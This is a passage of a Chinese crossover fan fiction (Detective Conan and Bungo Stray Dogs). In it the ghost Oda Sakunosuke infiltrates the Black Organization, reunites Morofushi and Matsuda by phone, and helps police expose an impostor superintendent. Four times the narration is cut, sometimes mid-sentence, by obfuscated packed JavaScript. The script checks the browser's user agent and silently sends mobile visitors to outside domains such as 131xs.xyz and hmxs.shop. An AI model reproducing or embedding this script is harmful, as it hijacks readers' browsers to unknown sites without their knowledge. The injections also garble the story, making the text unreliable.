不光有畏惧、警惕,还有探究、怀疑,到现在,甚至感受到了一丝信任。 现在的小孩子这么早熟的吗? “那柯南你又是在调查什么呢?”织田作决定用问题回答问题。 这下被沉默的人变成了江户川柯南。 他之所以敢冒险请小野柳吉送自己回家,就是因为对方一直把自己当孩子对待,想趁着这段新手保护期尽可能多得获取情报。 可对方似乎被问烦了,不再配合他的问题,反而对他产生了疑问。 “因为我也是个侦探。”江户川柯南试探着说。 小学生侦探也是侦探,这样回答没什么不对的。 被柯南脸上突然反光的镜面晃到,织田作若有所思,感叹:“现在经济下行这么严重了吗,连孩子都要出门挣钱。” 他突然有点理解了柯南追查组织成员的行为……才怪。 “当侦探是很危险的。” 他想到了与江户川乱步初次见面的那次,肆意张扬的小侦探和内敛沉稳的孤剑士。 织田作称那两人的组合为——聪明的大脑和他锋利的剑。 见过那样的搭档后,他便理所当然的认为侦探都应该搭配强大的武力一起行动。 这句话在江户川柯南听来,像是提醒,也像是警告。 小野柳吉对他的态度很奇怪,在把他当成需要保护的孩子的同时,对他那些冒险举动的接受度又很高。 平常的大人在听到他以侦探自居时,要么是把他当成爱玩侦探游戏的孩子,要么调侃他还只是小学生真不自量力。 只有小野柳吉在认真的给出建议。 看着那双海蓝色的平静眼眸,江户川柯南大胆提问:“小野哥哥,是正义的一方吧。” 织田作之助愣了一下。 他不知道这是否是小孩子们喜欢的《假面超人》里的经典对话,柯南只是因为玩侦探游戏入迷才这样子提问。 亦或者是柯南真的想要确认什么。 因为遇到过诸如江户川乱步和太宰治这样比成年人还聪明的未成年,织田作倾向于第二个选项。 他点头:“嗯。” 只是个孩子,说点实话应该不会影响大局吧。 “那么……” “好了,毛利侦探事务所到了,快回去吧。” “柯南,你跑到哪里去了?” 出门买东西的毛利兰这时正好出门,见到门口的江户川柯南便问道。 “我和同学约好了去商场玩,是小野哥哥送我……” 江户川柯南立马转换回天真小学生的人设,伸出手想拉旁边的织田作却拉了个空。 只看到了柯南一个人的毛利兰疑惑:“小野先生刚刚也在吗?” 两人话音刚落,一个毛茸茸的脑袋从侦探事务所门口探了出来,鸢眼亮晶晶地看向柯南所在的位置。 “是那位在对战怪盗基德时起了决定性作用的名侦探小野柳吉吗?真想见见这位大侦探啊。”太宰治双手合十放在胸前,虔诚地祈祷。 “我说,你到底是来干什么的?”毛利小五郎吐槽。 起初他以为太宰治只是慕名而来的委托人,谁知对方只对上次发生在铃木博物馆的案件感兴趣,现在更是过分,竟然当着他鼎鼎大名的名侦探毛利小五郎的面崇拜另一个名不见经传的小侦探。 要不是看在咨询费的份上,他可要赶人了。 并没有离开,只是魂体化的织田作之助听着太宰治肉麻的赞美浑身刺挠。 他缓缓升空,企图逃离这片危险的区域。 但太宰治接下来的话让他停了下来。 “实不相瞒,我其实遇到了一个生死攸关的难题,只有世界第一的侦探才能化解。”太宰治说,“如果酥败的话,或许我就能得到梦寐以求的死亡,哈哈,这样看来其实也不亏。” ‘酥败。’ 织田作想起了那段,在Lupin酒吧三人聚会的时期,还是青少年的太宰治故意口胡,制造出一些疑似卖萌的词汇。 太宰似乎遇到了连他自己都无法解决的难题。 他飘在半空,因为楼梯的遮挡以至于看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16425801|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到太宰治此刻的神情。 大概是落寞吧。发生了这样的事情,安吾呢?Mafia那边呢? 死后并不清楚两位友人现状的织田作默认坂口安吾还是太宰治的好友,也仍认为太宰治还是港口Mafia的干部之一。 一边是地府的工作规定,一边是生前的好友。 织田作之助左右摇摆,最终他做出决定。 ‘只要找到世界第一的侦探就能替太宰解困吧。’ 他的脑海中浮现出一个爱穿复古侦探装的黑发眯眯眼。 想到这里,织田作放心地离开了。 静默半晌,太宰治并没有如愿看到那道熟悉的身影来到身前,他眼里的期待逐渐淡去,恢复成淡漠空洞的样子。 就算是这样,也不愿意出现见我一面吗。他落寞地想到。 —— 离开毛利事务所,织田作之助接到了白马总监的电话。 “织田,那个组织正在策划一起针对警视厅的大行动,这或许是你趁机加入组织的好机会。” 已经加入组织且已经开始参与任务的织田作:“……多谢您的提醒,不过我已经是组织的底层成员了。” “……你,不是,这、这是什么时候的事?”白马总监语无伦次地说。 要知道他们为了培养一个优秀的卧底,花费的时间都是以年来计算的,更不要说其中消耗的财力和人力。 这位织田作之助到底是何许人也,难道是横滨那边殉职的军警? “四五天前的事了,偶然遇上了那个组织的代号成员,大概是觉得我比较有潜力,就邀请我加入组织了。” 织田作语气平静,将夸赞自己的话说得像是在形容另一个人。 电话那头的白马总监动了动嘴,想说什么却又咽了回去。 他想问在哪里遇上的、对方的代号叫什么、那群人为什么会觉得你有潜力、加入组织的流程有哪些……等等。 可到最后,认为卧底更需要人文关怀的白马总监只说了一句:“那就好,你万事小心。” 织田作毕竟是外单位的特派使者,说不定在这四五天的时间里,对方经历了不为人知的磨难和挫折,期间的辛酸和艰难只有织田作自己知道。 他作为临时长官,不该在这种时候表现得如此急功近利。 情报可以等下次联络的时候再问,现在应该做的是给予适当的关怀和鼓励。 加入组织和喝水一样简单的织田作:“谢谢关心。” 本以为白马总监会问一些关于组织的情报,没想到对方只是叮嘱了两句。他不由自主地将警视厅和老东家港口Mafia对比。 内心感慨万千,最后化作一句。 ‘果然公职单位比私人企业更人性化,不知道太宰能不能跳槽来这边。’ 20.第 20 章 【总监的故事已经写完了,可以开始收集新的写作素材了。 创刊以来,主角大多是平平无奇的上班族亡魂,如果写点更有突破性、危险性的人物,会不会取得点不一样的成果呢?】 返回据点的路上,织田作之助开始思考新的创作方向。 人物设定要丰满,最好是介于红黑之间的灰色游走者;能力要突出,比如在某个领域取得一定的成绩并被人们铭记;颜值也要高,这是在地府众鬼中受欢迎的最基本特征。 随着一项项基础信息的完善,织田作发现最合适的人物原型就在身边。 那就是——狱卒诸伏景光! 虽然生前是卧底警察的诸伏没能被大多数人铭记,但在他的上级、搭档甚至是敌人那里,诸伏景光绝对是一辈子都不会忘记的重要人物。 不知道总监的故事在刊发后收到了怎样的反馈。 织田作发散思维,首先总监的知名度肯定会上涨,再收获一批粉丝,然后就是他的作品得到大家的关注…… 不过,这样一来,距离下次交稿,又只剩一个月时间了。 ‘明明前几天才刚刚完稿,怎么又要开始写稿了。’ 本质是只鸽子精的织田作之助突然觉得世界灰暗了。 回到据点,伏特加早早等在那里。见到织田作之助终于完成了送小孩子回家的任务,他长叹一口气,朝对方招了招手。 走到伏特加身边坐下,双方默契地沉默了许久。 伏特加干的事也不算漂亮,因此他没有资格评判织田作的工作。毕竟后者至少帮助贝尔摩德撤离,要不是一开始就找错了目标,这次任务其实可以判定织田作圆满完成的。 “喝点什么?”伏特加打破沉默。 “威士忌,谢谢。” 酒上的很快,作为一名合格的上司,伏特加和织田作碰杯后,充分肯定了他今天的工作:“干得不错,但是。” 他语重心长道:“我知道从普通人突然变成犯罪者需要一定的适应时间,首先你需要舍弃的就是善良,这个世界上不缺好人,也不缺想当好人的坏人。” 自认为是在履行好大哥职责的伏特加感觉自己浑身都散发着邪恶引路人的黑暗光辉,说着他故作严肃:“我不希望下次再出现这种情况。” 如果是琴酒大哥在这里的话,织田这小子大概早在出现的瞬间就被崩了。 果然我还是太仁慈了。伏特加感叹。 面对恩威并施的伏特加大哥,织田作面无表情地听完,随即点了点头,表示自己明白了。 心里想的却是下次做这种事得瞒着伏特加了。 因为横滨的Mafia为了转型成合法企业,甚至会开展慈善捐款,五大干部偶尔也会做点力所能及的好事。 例如太宰的搭档中也干部,在看到老奶奶独自过马路时会主动上前搀扶。 导致织田作以为犯罪组织是不介意成员干好事的,没想到这个组织的邪恶超出了他想象,连送小孩子回家都是不被允许的行动。 看来这是一个比港口Mafia还要可怕的犯罪组织。 “这次因为情报出错导致我们找错了任务对象,为了尽早回收组织丢失的机密,接下来我们要直接参与到任务中。”伏特加开始发布下步任务内容。 “听说你之前和那些警察有过接触,你正好可以利用这一点,想办法加入他们的调查中。” 伏特加看向织田作,墨镜下的表情严肃郑重,“这是我特地为你争取的任务,完成的话你就算是立了大功,可以做到吗?” 织田作:“……可以吧。” “小野柳吉”这个私家侦探的身份已经被太宰盯上了,所以接下来要怎么向大家解释他其实是名为“织田作”的作者呢。 “好好干,组织不会亏待你的。”伏特加语重心长地说。 “我明白的。” 交代完任务,织田作之助离开后,贝尔摩德从吧台后撕下伪装款款走到伏特加身边坐下。 “确定不告诉他爱尔兰也在警视厅卧底吗?”被称为千面魔女的贝尔摩德说。 伏特加一口喝完杯中的酒:“爱尔兰那家伙因为皮斯可的事对大哥心怀怨怼,安排织田加入调查,就是为了进一步验证爱尔兰的情报是否有误。” 他拿出口袋中的香烟点燃,“不告诉织田也是为了他好,让他提前适应组织的氛围。” 这样的安排是琴酒大哥亲自部署的,趁着织田还是新人,和爱尔兰打一个情报差。 一方面能通过不知情的织田监视爱尔兰,另一方面也算是对织田个人能力的一次测试。 入职培训的结果他们都看了,织田这家伙,绝对是天生的黑//手//党。 “氛围。”贝尔摩德笑了笑,起身离开,“遍地谜语人的氛围吗?” —— 用小野柳吉的身份租的公寓肯定不能回,说不定一开门就能看到太宰坐在门口朝自己打招呼。 租金只交了三个月,太宰应该等不了那么久吧。织田作之助不确定地想到。 重新找房屋中介租了一间距离前公寓隔了有半小时车程的单身公寓,担心再次出现被太宰突袭导致行李来不及收拾带走的情况,织田作放了一个大旅行包在卧室,所有生活用品都放在里面,需要的时候拿出来,不需要的时候就放里面。 忙活完,拿出纸笔正准备伏案写稿时,诸伏景光来了。 从窗外飘进屋内后,诸伏景光便一直用那双湛蓝的猫眼直直注视着织田作。 在来之前,正好赶上地府逸闻最新一期发表,想着可以通过作品更好地了解织田作之助,他买了一期。 刚看了个开头,他就在文中的主角——“总监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16435477|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”身上看到了熟悉的特征。 生前是防//爆//警、干过几天刑警、梦想是暴打警视总监、热爱拆装机械…… 就差直接报松田阵平的本名了。 织田前辈竟然认识松田,不,应该说是松田竟然也在地府任职。 这也太巧了吧。 那萩原和班长呢?他们会不会也因为生前的职业特点被地府招揽? 带着这样的疑问,诸伏景光找到织田作之助,正好看到后者准备撰写新的作品。 “抱歉,这几天的工作报告还没来得及梳理,请稍等我一下。” 正因如何开头而焦头烂额的织田作迅速收好稿纸,拿出撰写报告的专用纸张。 没办法,工作更重要,写稿的事情还是先放一边吧。 “没关系,正好我也有事情想请教织田前辈。”诸伏景光说。 织田作之助抬头:“嗯?” “关于你最新发表的作品,里面的那位总监先生,也是地府的一员吗?” 诸伏景光没有第一时间表明他可能认识那位总监的猜想,这也是卧底生涯带给他的职业习惯,哪怕知道织田作之助不是别有用心的坏人,也难免这样。 “当然。”织田作说,“不过他因为工作特性,没有固定的工作区域,也不会经常待在办公室,如果想见他的话,去地府新设立的机械化工坊最能偶遇总监。” “工作特性?” “就像你现在是信使,我在外派前负责恶鬼的押送和《地府逸闻》的撰稿和编辑。”织田作一一举例,“而总监他主要负责恶鬼的教习,换句话说就是行刑官,以及地府机械化的新项目。” 行刑官和机械化项目的负责人,确实挺符合松田那家伙的形象的。 诸伏景光自然而然地将总监的形象想象成死后的松田阵平,一边感慨同期就算到了地府也是改革派一样的存在,一边对织田作说。 “听起来是位很了不起的人物呢,有机会真想见这位总监一面。” 他的语气里带着点只有朋友之间才会有的那种调侃和戏谑。 不过在对情感比较迟钝的织田作之助听起来,只有对总监的好奇。 他好心道:“如果真的想见总监一面的话,现在就可以视频连线他。” 说完,织田作直接拿出他那地府和现世通用的手机,划拉几下找出“松田”的号码,接着将屏幕转向诸伏景光。 “要吗?” 还没做好准备的诸伏景光顿时有些手足无措。 因为是新人,他还没能配发功能如此齐全的手机,现在用的只是对讲机一样的联络器。 可他的慌乱在织田作之助看来就是激动和期待,于是善良的织田作帮忙按下了拨号键。 “等等……” 诸伏景光伸出手想要制止,但电话已经拨出去了。 21.第 21 章 “嘟嘟” 电话响了两声就被松田阵平接通。 第一时间购买了最新一期《地府逸闻》的他,早早便看完了织田作之助那篇占据了头版的最新力作。 看到自己在织田作之助心中的形象竟如此高大帅气,松田阵平心里美滋滋的,于是在看到织田作来电后第一时间接了起来。 织田作看着屏幕里意气风发的松田阵平,平静地描述了一下打电话的原因:“是这样的,我的同事在看过那篇文章后,想见你一面。” 正常的话落到松田阵平耳中,自动转换为。 “我的同事是你的粉丝,很崇拜你想亲自见一面表达自己的仰慕之情。” 松田阵平墨镜下的双眼已经笑弯了。 他装模做样地清了清嗓子:“咳咳,看在织田你的份上,我就勉为其难地抽出五分钟时间和这位粉丝见一面吧。” 这熟悉的声音,这臭屁的语气,没错,对面的人一定是松田阵平没错了。 诸伏景光面无表情地接过织田作之助的手机,将屏幕转向自己。 本以为会看到满脸崇拜仰慕的粉丝的松田阵平猝不及防地对上那张储存在记忆深处的脸。 松田阵平:“……” 诸伏景光假笑着用没有丝毫起伏的声线说:“松田前辈,我是你的粉丝。” 松田阵平:“……” 屏幕坏掉了吗?不然他怎么会在屏幕里看到景光老爷的冷脸!太阴间了快拿走快拿走! 不对啊,如果景光老爷和织田在一起的话,那景光老爷也已经…… 回过神来,他收起慌乱的神情,正色道:“你是什么时候……” 诸伏景光恢复到正常的笑容,语气里是前所未有的轻松:“两年前,没想到我们还能再见,松田。” 听两人这样说,织田作之助这才明白过来。 松田和诸伏早就互相认识。 见两人隔着屏幕聊了起来,他拿上只写了个开头的工作报告,悄无声息地飘出了房间。 松田阵平凑近屏幕,细细打量诸伏景光的下巴:“果然还是觉得留胡子的你更顺眼。” 面对同期的调侃,诸伏景光摸着下巴怀念:“可惜魂体不便留胡子。” “那现在可以和我聊聊你生前的工作吗?”松田阵平突然正经起来。 这个问题他早就想问了,景光老爷和金毛混蛋毕业后没多久就隐姓埋名跑去执行什么机密任务,虽然他也理解所谓的保密协议,但难免会为这两人担忧。 果不其然,这不就和景光老爷在地府再会了吗。 “我被派往一个成员以酒名为代号活动跨国犯罪组织卧底,秘密搜集他们犯罪的证据和进行违规人体实验的数据,但两年前身份暴露被组织追杀。”诸伏景光平静地陈述着,“幸运的是零的身份没有暴露。” 说完,他试探着问:“既然松田你也在地府任职,那萩原他……” “不知道。”松田阵平看似洒脱地说,“不过以研二那家伙的能力,肯定比我们混得好。” 萩原研二比他早死了四年,对方或许因为生前的善行早就往生了也说不定。 更何况地府这么大,就连他和景光老爷也是因为织田才得以见面。 听着松田阵平的话,诸伏景光坦然一笑。 他想到了警校时期担任鬼冢班外交官一职的萩原研二的“丰功伟绩”,无论是犯了什么错误,只要萩原一出马,再凶恶的教官也会勉为其难地降低惩罚标准。 “是啊。”他淡淡道,内心不胜唏嘘。 曾经将警校闹了个天翻地覆的鬼冢班,现在就剩下班长和零还活着了。 松田阵平比他更看得开:“你说金毛混蛋也在那个什么酒组织卧底,哈哈,那小子没问题吗?” 毕业后他们见面的机会少之又少,一年可能只见得到一到两次,其中一次还是在研二的祭日。 因此他对降谷零的映像仍停留在警校时期对谁都一副正气凛然的纯良三好学生形象。 最多再给他加一点点成熟社会人的光环。 但也不像是能在邪恶的犯罪组织长期卧底的样子。 松田阵平发散思维,将一身正气的降谷零想象成歪嘴邪笑的黄毛。 “噗哈哈哈哈!” 诸伏景光:“……” 虽然对方什么都没说,但他觉得松田一定在想什么很失礼的事。 不过有一说一,在加入组织后,零确实变化很大。 “我死的时候,零已经是组织数一数二的情报高手了。” 获取代号后,为了稳固地位更接近组织高层,在诸伏景光的眼里,降谷零几乎成为了一个超人。 “那他怎么获取情报,刑讯逼供吗?”松田阵平吐槽。 诸伏景光压低声音,眼角的笑意暴露了他调侃幼驯染的坏心思:“Honey trap。” 松田阵平大惊:“真的吗?不会吧!” 这还是他记忆里那个连参加联谊都会红脸的金毛混蛋吗,哈哈哈哈哈。 两人聊了很久,大多是彼此幼驯染曾经闹过的一些笑话。 像这种好友重聚的场面,不在场的几位必定身败名裂。 像萩原研二被他亲自解救的人质表白、降谷零因为任务不得不扮成牛郎之类的囧事,都被两人倒豆子一样全部说了出来。 反正他们现在都是死人了,聊点阳间的笑话没什么不对的。 织田作写完报告没多久,诸伏景光主动结束了聊天,拿着手机来到客厅。 “抱歉,织田前辈,因为和松田太久没见了,所以花的时间比较长。” 织田作当然不是在意这种小事的人,他也很高兴诸伏能在地府和生前的友人再会。 换位思考,如果他在地府遇上太宰或是安吾,大概也会和诸伏景光一样被对方拉着聊个三天三夜。 当然这不是诅咒太宰和安吾的意思,比起再会,他更希望两人能长命百岁。 但对太宰来说,似乎长命百岁才更像是诅咒…… “我写报告也需要时间。”织田作拿出装着报告的信封,“有件事我也想和你商量一下。” “和我商量?”诸伏景光接过信封,在织田作的邀请下坐到沙发上。 织田作认真道:“关于新一期创作的人物原型,我想参考你的经历。” 还以为是有什么新的工作需要协助的诸伏景光愣了片刻,随即抬起手指向自己:“我?” “不瞒你说,警视厅的现任总监委托我调查导致你身份暴露的卧底身份。”织田作说,“这样说可能会让你感到被冒犯,但我从警视总监那里看到了你的档案。” “我觉得这是一次突破创作风格的契机,而且前几天我偶然加入了你生前卧底的组织……” “抱歉,我想打断一下。”差点被织田作之助淡定情绪感染的诸伏景光提取出重点。 “织田前辈,你是说你加入了组织 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16444661|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!” 据他了解,这位前辈外派的时间才不到一个月吧,而且前不久还因为伪装技术不合格被生前的友人找上门来。 在这么短的时间里和组织搭上线并加入组织,到底是怎么做到的? 织田作不明所以:“嗯,琴酒和伏特加你认识吗,我正在他们手底下做事。” 诸伏景光都要觉得自己听不懂日语了。 什么样的新人,刚加入组织就能得到和代号成员直接接触的机会啊? 织田前辈生前到底是做什么的。 他错了,他不该单凭伪装技术评判一个人的实力。 诸伏景光表情复杂:“认识,琴酒很危险,前辈你在他面前千万要谨慎。” “嗯,现在和我接触比较多的是伏特加,他人挺好的,还会请我喝酒。” 诸伏景光:“……” 突然就不知道该说什么了。 他和零的卧底之路:谨小慎微、如履薄冰、卑躬屈膝,一个不慎就是满盘皆输。 织田前辈的卧底之路:一键速通、大佬开路、甚至还有代号成员亲自请喝酒,哪怕这个代号成员是伏特加。 “我大概明白了。”诸伏景光一副看透命运的醒悟表情,“很高兴前辈用我的人生经历为原型进行创作,如果期间需要我配合的话请直说就好。” 没想到织田前辈的外派任务竟然和那个组织有关,或许能通过前辈了解到零的现状也说不定。他这样想到。 “对了,关于调查组织派往警视厅的卧底一事,我这边倒是有几个人选。” —— 警视厅管理官松本清长、搜查四课藤本和人、警备部日向纯。 这是诸伏景光给出的嫌疑人名单,简单来说就是一个三选一的单选题。 将三人的名字和特征牢牢记下,织田作没有忘记他还有一个混入警方调查队伍的任务。 以他现在的身份,要正大光明地加入调查,只能再次拜托那位了。 警视总监办公室。 看着一脸淡然地提出无理要求的织田作之助,白马总监不禁语塞。 他就算是总监,也不好擅自将身份不明的外来人员强行加入到重案调查中去啊。 更何况什么叫“现在我不是私家侦探小野柳吉,而是作家织田作”啊!身份这种东西是说换就换的吗?我只是普通的警视总监不是哆啦X梦。 摸着日渐稀疏的头顶,白马总监思来想去,最终拨出了目暮十三的号码,让他立马来办公室一趟。 目暮在警视厅的任职时间长,经验丰富,在刑警中也有一定的声望,最重要的是口风紧。 相信他一定能完成这次的委派,协助织田作之助完成任务。 三分钟后,目暮十三的声音在门外响起,织田作之助主动上前开门。 于是两人四目相对了。 目暮十三瞳孔地震:“你怎么在这里!” 试问还有什么场面比在顶头上司的办公室里看到可疑人员更令人震惊了。 面对目暮十三的质问,织田作之助淡然处之,主动更新了自己的身份。 “你好,我叫织田作,职业是作家。” 目暮十三顿时化震惊为无语。 “……” 不是,这人难不成以为他这样说就能覆盖之前那段关于“小野柳吉”的记忆吗?我又不是游戏NPC凭什么你说自己是谁我就会信了! 这里是警视厅不是游戏厅! 22.第 22 章 【太宰曾经说过:要让一件看似离谱,实则也很离谱的事被人接受,只要重复就好了。】 见目暮十三很难接受当前现实的样子,白马总监跟着补充:“嗯,这位是织田作,接下来会加入到你们的连环凶杀案调查中。” 并不知道两人在铃木博物馆有过交集,织田作之助还用“小野柳吉”的身份在目暮十三面前刷满了怀疑值。 白马总监把目暮的沉默误以为是对非警方人员的不信任,他爽朗一笑,示意目暮十三靠近一点。 “不瞒你说,这位织田作,其实是一位秘密警员,正在进行一项非常机密的调查任务。”他神神秘秘的样子让目暮十三心中的防线有了些许松动。 “这次加入你们的调查,也是因为之前搜集到的种种线索都指向这次连环杀人案。” 白马总监看向半信半疑的目暮十三,强调:“所以就算织田作加入调查,也要帮忙掩饰他的真实身份,这是任务。” 因为织田作已经加入了那个组织,如果被组织的人了解到他是经过警视总监加入调查,肯定会引来组织对织田作身份的怀疑。 最好的解决方法,就是模糊事实。 让组织知道织田作之助在警视厅有助力,但不是警视总监,而是搜查一课的警部。 这样一来,既能方便织田作接下来的调查,也能让组织进一步认可他的能力。 至于唯一的缺点。 就是目暮可能被组织的人当作容易被渗透的黑警…… 至少组织不会为了保密而暗地里干掉目暮了。 顶头上司都这么说了,目暮十三也不再对织田作之助表示怀疑,他说:“我明白了,请您放心。” 见此,白马总监松了一口气,但他又想到了什么,转向旁边等待的织田作之助。 “织田,我和目暮还有些事要商量,能请你到外面稍等片刻吗?” 深知自己并不是合法警员的织田作上道地起身离开。 随着办公室的门再次被关上,白马总监也不像先前那样端着,露出苦恼的表情。 “目暮,还有一件事,需要你协助。” 连总监都表露出如此忧愁的神色,目暮十三郑重道:“请您尽管吩咐,我必定尽全力完成。” 白马总监:“织田作的各项能力都很强,唯有一项,实在是让我放心不下。” 目暮十三突然想到了织田作之助那引人吐槽的说话方式和粗制滥造的易容手法。 那边白马总监也说到了重点。 “希望你能多关注一下织田作,特别是人际交往上,他对于伪装身份的理解太浅显了,必要时刻,需要你帮忙加以掩饰。” 目暮十三:“……” 这一点好像有点难。 那全是破绽的伪装,根本不是区区“掩饰”能起到作用的啊。 但服从命令是他的天职,沉默半晌,他艰难地吐出一个字:“是。” —— 在白马总监和目暮警部的保驾护航下,织田作之助顺利加入到警方的调查中。 在介绍时,目暮十三用了“织田作”的名字和“侦探”的职业。 当时织田作之助张了张嘴,想要提醒目暮警部他现在的职业是“作家”或“小说家”,但还没来得及开口就被目暮十三的瞪视堵了回去。 ‘你是不是傻,带侦探加入调查已经很不合理,要是按照你的要求和大家介绍你是个小说家,大家都会觉得我肯定是被连日的加班逼疯了,以至于带一个文艺工作者来协助调查,你以为你是工藤优作吗!’ 短短一秒钟不到的瞪视,目暮十三传递了大量的吐槽。 织田作之助不明所以,但还是接收到了对方希望他闭嘴这一信号。 根据之前的线索,调查已经进入到攻坚阶段,警方已经锁定了一个目标。 为了不让刚加入的织田作落单,目暮安排了佐藤美和子和高木涉带着他一起行动。 行动前,目暮叫住准备离开的佐藤和高木,像先前白马总监交代他的那样,让两位得力部下多关注织田作。 佐藤两人都曾经在铃木博物馆见过织田作之助,他们也和先前的目暮一样,对这位突然更改姓名加入调查的侦探心存疑惑,但在见到目暮警部那讳莫如深的表情后,两人好像懂了,又好像没懂。 总之,只要别让其他人对这位织田作先生的身份起疑就行了吧。佐藤美和子抓住重点。 临时调查三人组正式成立。 路上,织田作之助沉默地坐在后排,因为走之前被目暮警部叮嘱了多观察少说话这一点,他没有主动开口。 察觉到目暮警部对自己带着某种偏见,但毕竟是他拜托别人帮忙,情绪稳定的织田水豚决定遵照对方的指示行动。 前排的佐藤美和子专注驾驶,也没有说话。 车内一片寂静。 这让习惯于在车上和佐藤聊点什么的高木涉有点难受了。 他小心翼翼地前后观察。 找点话题聊聊吧。他做出决定。 “那个,织田先生,你对这次的调查有什么看法吗?” 织田作之助愣了片刻,他缓缓开口:“比起犯人的真实身份,更令我在意的是,似乎有股第三方势力一直在插手调查。” 他压根就不是侦探,调查案件什么的也不在行,比起班门弄斧,他还不如直接阐明目的。 反正佐藤和高木两位警官应该被目暮警部叮嘱过,不会对他的身份起疑。 听他这样一说,对此事早有察觉的佐藤美和子更坚定了对方此行的目的不是调查连环杀人案的凶手。 警视厅内部出了问题。 这位织田先生,或许就是被上级安排来暗中彻查此事的秘密警员。 证据就是目暮警部含糊不清的态度。 她很清楚上司是多么的刚正不阿,肯定不会因为私人感情将不相干的人士加入到调查中。 透过后视镜,她看到织田作平静却坚定的海蓝色眼眸。 对方的调查大概从铃木博物馆那时就已经开始了吧,还有上次在商场的人质挟持案。 所以警视厅内部到底发生了什么?卧底还是叛徒? 佐藤美和子直言:“你掌握的情报有多少?” “只有一个初步的猜测。” 没想到佐藤警官当即便认可了自己用来套话的猜想,织田作之助斟酌着说,“我猜想这个第三方势力安插了卧底实时掌握警方动态。” “我赞同你的观点。”佐藤美和子说。 高木涉一脸茫然:“等等,发生了什么,为什么警视厅会有卧底?” 佐藤美和子调转车头,驶向与目的地完全相方的另一头。 “高木,通知一下其他人,我们有了新发现,暂时不参与接下来的统一行动了。” 到底有没有卧底,去调查一下就知道了。 早上的时候她接到了少年侦探团吉田步美的电话,说是在公园里抓独角仙的时候发现了有人在向外传达求救信号。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16455176|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 考虑到当前手头的案子,她只是通知了附近的巡警前去调查。 距离那已经过去了半天时间,巡警仍没有反馈消息。原本打算这边的调查结束后再单独前往调查,但在听到织田作这一番猜想后,佐藤决定立即去查明真相。 高木涉虽然疑惑,但还是按照佐藤的指示通知了其他人。 只是发表了几句个人猜测的织田作:“……” 虽然不知道发生了什么,但佐藤警官好像已经有所发现了。 公园外,因为是工作日,所以并没有什么人。 三人找了一条隐蔽的小路走了进去。 穿过郁郁葱葱的树林,一栋供公园管理员休息的小屋出现在眼前,屋外杂草丛生,可以看出这间屋子已经被废弃了。 佐藤和高木还在周围确认是否安全,织田作之助已经悄无声息地摸到了门口。 门锁是新换的。 木门已经老化,如果用蛮力破开的话会被里面的人察觉。 他矮身摸到另一侧的窗户下方,探头朝里面看了一眼。 屋内倒着三个人,都有呼吸,一人仅穿着白衬衣,另外两人是巡警打扮。 看样子犯人并不在屋内。 做出判断后,织田作之助起身用力撞开玻璃窗,灵活地越过玻璃碎渣跳入屋内。 听到玻璃碎裂的响声,佐藤和高木一回头,只看到织田作翻身跃入小屋的背影。 两人心下一紧,赶紧跟上。 不料在屋内见到了一个他们从未怀疑过的人。 此刻被织田作之助扶着坐起来的人,正是警视厅管理官松本清长。 察觉到佐藤和高木的靠近,织田作回头示意高木过来帮忙。 将半昏迷状态的管理官交到高木手上,他看向佐藤说:“这件事暂时不要告诉其他人,以免打草惊蛇。” 堂堂警视厅管理官竟然在一众刑警的眼皮子地下被人替换,这件事就算不用织田作提醒,他们也知道该怎么做。 佐藤跟着翻进室内查看另外两名巡警的伤势,确认对方只是被打晕后松了口气。 “我们接下来……” 回头,身后除了高木和昏迷中的松本管理官,再无织田作的身影。 “织田先生去哪里了?”她问。 高木抬头:“诶?刚刚还在这里的,织田先生!” 猜测对方应该是去处理冒牌货的事了,佐藤示意高木先联系目暮警部,先把几位伤者秘密送医。 佐藤猜的没错,织田作之助在确认卧底身份后,趁机魂体化,朝着警视厅飞去。 他记得目暮警部提过一句,今天一整天松本管理官都会在警视厅。 花了几分钟找到管理官的办公室,他趴在窗上,确认屋内只有冒牌货一人后,变回实体开窗进屋。 屋内,伪装成松本清长的爱尔兰正利用警视厅网络查找情报,被这突如其来的动静吓了一跳。 回头,却见到了一个从来没见过的陌生面孔。 